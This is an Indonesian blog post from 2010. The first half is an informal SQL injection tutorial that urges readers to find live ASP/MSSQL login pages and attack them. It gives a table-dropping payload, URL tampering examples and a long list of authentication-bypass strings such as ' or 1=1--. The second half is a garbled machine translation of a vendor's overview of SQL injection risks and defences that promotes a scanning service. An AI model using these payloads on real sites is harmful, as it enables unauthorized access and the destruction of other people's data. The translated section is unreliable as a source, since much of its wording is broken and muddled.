Kamis, 04 Februari 2010

SQL injection

Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan
kenapa bisa terjadi.

Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection.
Biasanya di sql statment

select id, user_name, password from user

maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser

Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"

seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out'
dari delimiter nya SQL Jadi kalau misal ada inputan

User: echo';drop table user--

dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginnya

oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya

user:admin
pass:' or 1=1--

Ingat kita disini hanya coba-coba kali aja dba nya ga pinter
atau :

user:' or 1=1--
admin:' or 1=1--


Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :

http://victim/index.asp?id=10

Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--

menjadi http://victim/index.asp?id=test'1=1--

Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :



Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .

Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh

pada sebuah web tertulis http://victim/index.asp?category=laptop

Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .

Kalau ditulis dalam script ASP maka akan menjadi :

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi

SELECT * FROM product WHERE PCategory='laptop'

lalu apa hub dengan 'or 1=1---

coba kalau kita ganti http://victim/index.asp?category=laptop menjadi

http://victim/index.asp?category=laptop'or 1=1--

Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi

SELECT * FROM product WHERE PCategory='laptop' or 1=1--'

artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan

Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
Semoga artikel ini berguna .

Sumber Baca : http://securityfocus.com/articles/SQLinjectionBasicTutorial.php
http://www.securiteam.com/securityreviews

SQL Injection Overview

Pantas pengkodean aplikasi web Anda bahkan tidak terampil dapat memungkinkan hacker untuk mendapatkan akses tidak sah ke database Anda dan dari sana akses ke server Anda. Bentuk apapun, bahkan bentuk logon sederhana, dapat menyediakan akses ke data Anda dengan cara injeksi SQL. Bentuk berbasis web harus membiarkan beberapa akses ke database untuk memungkinkan masuknya data dan jawaban, sehingga serangan semacam ini benar-benar bypasses firewall dan tidak diblokir oleh virus software.

Structured Query Language (SQL) adalah bahasa universal hampir database yang memungkinkan penyimpanan, manipulasi, dan pengambilan data.Database yang menggunakan SQL termasuk MS SQL Server, MySQL, Oracle, Access dan Filemaker Pro dan database tersebut sama-sama tunduk pada serangan injeksi SQL.
Injeksi SQL saat ini adalah bentuk paling umum dari serangan situs web dalam bentuk web yang sangat umum, mereka sering tidak dikodekan dengan benar dan alat-alat hacking yang dapat digunakan untuk mencari kelemahan dan mengambil keuntungan dari mereka yang umumnya tersedia secara online.Mengeksploitasi semacam ini cukup mudah untuk mencoba bahwa bahkan anak-anak yang berniat hanya kerusakan dapat mencapainya dengan beberapa latihan. Namun, di tangan yang sangat terampil hacker, akses tingkat akar server web telah diperoleh, dan dari sana serangan pada server jaringan lain sering telah dicapai.

Bagaimana SQL Injection Bekerja

Prospek, pelanggan, karyawan dan mitra bisnis mungkin semua memiliki hak untuk menyimpan atau mengambil informasi dari database Anda. Mungkin situs Anda memungkinkan pengunjung situs untuk mengirimkan dan mengambil data yang sah termasuk akses bagi pengunjung situs pencarian, sign up bentuk, form kontak, logon bentuk dan menyediakan semua jendela ke dalam database Anda. Berbagai titik akses yang sangat mungkin tergabung dalam 'off-the-rak' aplikasi atau mungkin aplikasi kustom mengatur hanya untuk situs Anda. Bentuk dan kode mendukung mereka memiliki kemungkinan berasal dari berbagai sumber, yang diperoleh pada waktu yang berbeda dan mungkin diinstal oleh orang yang berbeda.

Injeksi SQL adalah penggunaan bidang ini tersedia untuk umum untuk mendapatkan masuk ke database Anda.

Hal ini dilakukan dengan memasukkan perintah SQL ke dalam kolom formulir yang diharapkan daripada data, seperti nama atau password. Bentuk kode tidak semestinya akan memungkinkan hacker menggunakannya sebagai titik masuk ke database Anda di mana titik data dalam database dapat terlihat dan akses ke database lain pada server yang sama atau server lain dalam jaringan dapat dibuat.

Situs web fitur seperti form kontak, halaman logon, permintaan dukungan, fungsi pencarian, umpan balik ladang, shopping cart dan bahkan fungsi yang memberikan konten halaman Web dinamis, semua rentan terhadap serangan injeksi SQL karena sangat luas yang disajikan bagi pengunjung.  memungkinkan setidaknya beberapa perintah SQL untuk melewati langsung ke database.

Resiko SQL Injection

Kenyataan bahwa database mengontrol banyak fungsi situs web dan hampir semua situs web mengundang masukan dari pengunjung telah membuat injeksi SQL bentuk yang paling umum dari situs web hacking, alat yang digunakan hari ini. Selain itu, begitu banyak penjahat sekarang menggunakan injeksi SQL server baru, aplikasi dan kode kelemahan sedang ditemukan hampir setiap hari.

Catatan kita sendiri menunjukkan bahwa sebagian besar (lebih dari setengah) dari situs web kami telah diminta untuk memindai memiliki resiko injeksi SQL baik Tinggi atau tingkat Menengah. Sebuah tingkat risiko tinggi adalah salah satu yang efektif yang terkunci, pintu dijaga. medium risiko adalah salah satu yang jika dikombinasikan dengan satu atau lebih faktor-faktor lain bisa berarti masalah. Yang lebih besar jumlah situs itu masalah risiko rendah. Apa yang perlu Anda ketahui: Persentase situs yang memiliki sedikitnya satu risiko utama sebenarnya meningkat.

Meskipun injeksi SQL telah menjadi isu terkenal selama bertahun-tahun, ada beberapa faktor yang menyebabkan tingkat risiko meningkat. Pertama adalah bahwa lebih banyak perusahaan yang menawarkan lebih banyak lagi situs web interaksi dengan pengunjung dan tren ini meningkat secara dramatis. Kedua adalah bahwa karena lebih banyak hacker mendapatkan keterampilan di SQL injeksi, mereka menemukan lebih banyak aplikasi dan layanan yang rentan terhadap serangan dan mengembangkan serangan baru pada aplikasi lama. Hasilnya adalah hampir eksponensial peningkatan kesempatan untuk menggunakan metode serangan ini.

Risiko Anda berhasil diserang dengan menggunakan injeksi SQL adalah berdasarkan dua faktor: sifat dan ukuran bisnis Anda dan usia, status update dan patch pada aplikasi Anda dan keterampilan dan jumlah staf teknis Anda. Itu bermuara pada apakah Anda adalah sasaran yang menarik dan apakah server web, aplikasi di atasnya dan kode situs Web Anda dirancang dengan baik, terintegrasi dengan baik dan memiliki semua patch dan pembaruan saat ini

Situs Anda dalam bahaya langsung jika perusahaan Anda menyimpan data yang cukup tinggi nilainya, jika perusahaan atau badan yang beroperasi di bidang yang sangat ditentang bisnis, atau jika situs Anda memiliki politik atau kepentingan atau nilai sosial. Tentu saja jika Anda memiliki sesuatu nilai moneter maka Anda adalah target. Tapi Anda juga merupakan sasaran jika situs Anda adalah seorang pemimpin opini dalam lingkungan perdebatan. Kami telah diminta oleh blogger untuk membantu karena subjek yang dicakup ditarik ada serangan injeksi SQL.

Serangan injeksi SQL sekarang sedang diminta secara online. Sebuah pelanggan yang marah, pesaing, atau bahkan mantan pasangan dapat dengan mudah menyewa seorang 'script kiddie' - atau lebih buruk lagi, hacker berbakat - untuk menyerang sebuah situs. Kemungkinan hacker tertangkap rendah. Kesempatan bahwa pihak marah dapat menyebabkan kerusakan pada situs Anda tanpa meraba sebagai pihak yang bertanggung jawab tinggi.

Secara teknis Anda beresiko injeksi SQL jika Anda memiliki peralatan atau aplikasi yang belum diperbarui secara rutin dan ditambal, atau jika Anda memiliki kode di situs Anda yang tidak ditulis dengan benar. Usia peralatan, aplikasi dan kode adalah indikator kasar risiko. Lain adalah jumlah server yang terlibat, jumlah aplikasi dan jumlah jalur akses situs web. Jika Anda menggunakan server host atau jika Anda menggunakan outsourcing sumber daya teknis, maka pihak ketiga review keamanan situs Anda adalah penting. Dan bahkan di rumah-staf bisa begitu terdesak waktu dan kekurangan sumber daya bahwa pembaruan dan patch bisa mendapatkan warisan lama tertunda atau kode akan terbiasa tanpa tinjauan yang tepat.

Contoh SQL Injection

Setiap kali situs web pengunjung memasukkan data ke dalam formulir di situs Anda SQL query yang dihasilkan dan dikirimkan ke database Anda. Dalam kasus sederhana bentuk logon nama pengguna dan password disajikan ke database dan jika valid, respond database dengan jawaban dan user yang boleh akses (atau tidak). Jadi, tidak peduli seberapa sederhana bentuk atau proses web, database akses diperlukan dan respon yang diharapkan.

Menggunakan injeksi SQL, seorang hacker akan mencoba untuk memasukkan perintah SQL dibuat khusus ke dalam bentuk bukan bidang informasi yang diharapkan. Tujuannya adalah untuk mendapatkan tanggapan dari database yang akan membantu para hacker memahami database konstruksi, seperti nama tabel. Langkah berikutnya akan untuk mengakses dan melihat data dalam tabel penting atau untuk menambahkan data ke tabel, seperti menambahkan account baru atau nama pengguna dan sandi. Langkah ketiga, kira-kira, akan menggunakan akses ke database untuk menemukan dan mengubah pengaturan keamanan pada server yang akan memungkinkan hacker akses administratif.

Setiap bahasa script dinamis termasuk ASP, ASP.NET, PHP, JSP, dan CGI yang rentan terhadap serangan. Satu-satunya peralatan yang dibutuhkan adalah browser web. Ada alat banyak tersedia secara online yang akan semi-mengotomatisasi proses mencari kelemahan, dan ada banyak forum di mana eksploitasi hacker berbagi dan saling membantu mengatasi hambatan.

Hasil SQL Injection

Seperti yang dapat Anda bayangkan, seorang hacker mendapatkan akses administratif ke server Anda berarti Anda akan secara efektif kehilangan semua data di server ke penyerang. Lebih buruk lagi sekarang ada tempat berpijak di belakang firewall anda dari mana serangan terhadap server lain dan jasa sekarang dapat dibuat. Dengan cara ini injeksi SQL dapat menyediakan akses ke semua perusahaan atau data pribadi.

Hacker dari sudut pandang komponen bagian dari hack yang hampir sama pentingnya dengan istirahat-in adalah menjaga kerahasiaan. Berangkat sebuah 'alarm' dari beberapa macam adalah hal terakhir yang ingin mereka lakukan. Infiltrasi mereka bekerja memerlukan waktu dan seringkali nilai data curian tetes jika ditemukan pencurian (informasi nilai dalam pencurian identitas atau pencurian kartu kredit misalnya). Jadi injeksi SQL hacks sering ditemukan bulan dan dalam beberapa kasus tahun setelah inisiasi.

Cara lainnya, jika terang-terangan kerusakan adalah niat maka tidak ada kekurangan hal-hal buruk yang dapat dilakukan untuk sebuah database ketika seseorang telah mendapatkan akses untuk menjalankan perintah. Seluruh tabel dapat dihapus secara permanen menggunakan satu perintah SQL. Namun yang lebih canggih serangan injeksi SQL dapat melibatkan korupsi besar database besar dan bahkan penghancuran salinan cadangan.
Pertahanan Melawan SQL Injection

Karena situs web yang terus-menerus memerlukan akses ke database, firewall menyediakan sedikit atau tidak ada pertahanan terhadap serangan injeksi SQL. Situs web Anda dan firewall publik harus diatur untuk memungkinkan setiap pengunjung situs akses ke database, biasanya di port 80/443.

Program antivirus sama-sama tidak efektif pada memblokir serangan injeksi SQL. Mereka dimaksudkan untuk tempat dan berhenti yang sama sekali berbeda dari data yang masuk.

Yang paling umum digunakan pertahanan injeksi SQL terdiri dari dua komponen. Pertama ada pembaruan rutin dan menambal dari semua server, layanan dan aplikasi yang tentu saja memiliki banyak keunggulan dan praktik umum. Kemudian ada memproduksi dan menggunakan ditulis dengan baik dan sudah teruji baik kode situs Web yang melarang perintah SQL yang tak terduga.

Kedua pertahanan secara definisi cukup untuk menghentikan semua serangan injeksi SQL. Jadi, mengapa situs web kerentanan dan risiko terus meningkat dan mengapa serangan berhasil terjadi lebih sering? Jawaban masing-masing sederhana, dan bergabung menjadi daftar menakutkan:

* Jumlah server, aplikasi dan volume kode pada situs web meningkat
* Server-server ini, aplikasi dan kode bahasa berinteraksi satu sama lain dalam cara-cara yang kadang-kadang tidak terduga
* Jumlah dan frekuensi update dan patch meningkat
* IT departemen melakukan lebih banyak bekerja dengan lebih sedikit staf dan beberapa kegiatan seperti mendapatkan update ditunda
* Staf TI PHK omset dan kadang-kadang meninggalkan lubang di keamanan disamarkan rutinitas
* Secara otomatis menginstal setiap patch dan update yang datang seringkali menghasilkan efek samping yang tidak diinginkan
* Kode Legacy sering kembali digunakan ketika situs diperbarui, terkadang kode yang ditulis untuk menjaga standar lama digunakan lama setelah itu usang
* Jumlah orang yang berusaha untuk melakukan hacks dan jumlah alat yang tersedia untuk menyederhanakan hacking berdua naik hampir secara eksponensial


Semakin banyak perusahaan dengan faktor-faktor risiko besar dan besar web 'jejak kaki' akan datang untuk menyimpulkan bahwa menambal segala sesuatu dan mempekerjakan lebih banyak staf untuk mengawasi pekerjaan staf yang ada tidak lagi layak.

Web Site Scanning sebagai Pencegahan SQL Injection

Solusi baru untuk serangan injeksi SQL (dan semua serangan berbasis web) adalah untuk fokus TI terbatas dan berharga waktu pada risiko serius yang benar-benar hadir, daripada menggunakan pendekatan senapan dan menerapkan setiap kemungkinan memperbaiki setiap server, setiap aplikasi dan setiap halaman kode apakah itu diperlukan atau tidak. Pendekatan baru ini adalah seperti memiliki seorang dokter menilai pasien dan mengharamkan SATU obat yang diperlukan untuk memproduksi obat, daripada memiliki pasien langsung ke apotek untuk mendapatkan setiap kemungkinan obat-obatan dan membawa mereka sekaligus.

Dengan demikian keamanan yang lebih besar dilakukan melalui pihak ketiga memiliki profesional yang berpengalaman, seperti BeyondSecurity, meneliti (scan) situs web menggunakan daftar ribuan serangan dikenal dan kemudian laporan yang relatif sedikit (biasanya kurang dari selusin) isu-isu serius.

Pemindaian situs web bekerja atas dasar MENGENAL bercak dan pelaporan risiko. Common hacking sangat 'publik' aktivitas. Alat dipromosikan secara luas. Teknik secara luas disebarluaskan di forum-forum publik. Bahkan metode baru menjadi publik dalam hitungan jam atau hari pertama mereka gunakan, terima kasih kepada kelompok-kelompok seperti SecuriTeam.com dan orang lain yang menonton dan kemudian secara luas untuk memperingatkan orang lain.

dia layanan pemindaian otomatis, WSSA, adalah sebuah layanan berbasis web yang menggunakan kompilasi dari semua risiko yang dikenal ke dalam keluarga dan semua keluarga ke dalam satu database yang telah bertahun-tahun untuk mengkompilasi dan banyak jam sehari untuk mempertahankan. Dengan menggunakan database ini dapat mengevaluasi WSSA situs web dan menghasilkan laporan REAL dan nilai risiko,  menurut kepentingan relatif mereka - sering kali dalam hitungan jam dan tanpa mengganggu aktivitas situs yang berkelanjutan.

Sekarang, Anda dapat mengambil waktu TI berharga Anda jam dan alamat secara langsung risiko yang nyata seperti injeksi SQL daripada menghabiskan ratusan jam menginstal patch dan pembaruan, yang sebagian besar anda tidak perlu atau yang menangani risiko yang sangat kecil sehingga tidak dapat diabaikan

0 komentar:

Posting Komentar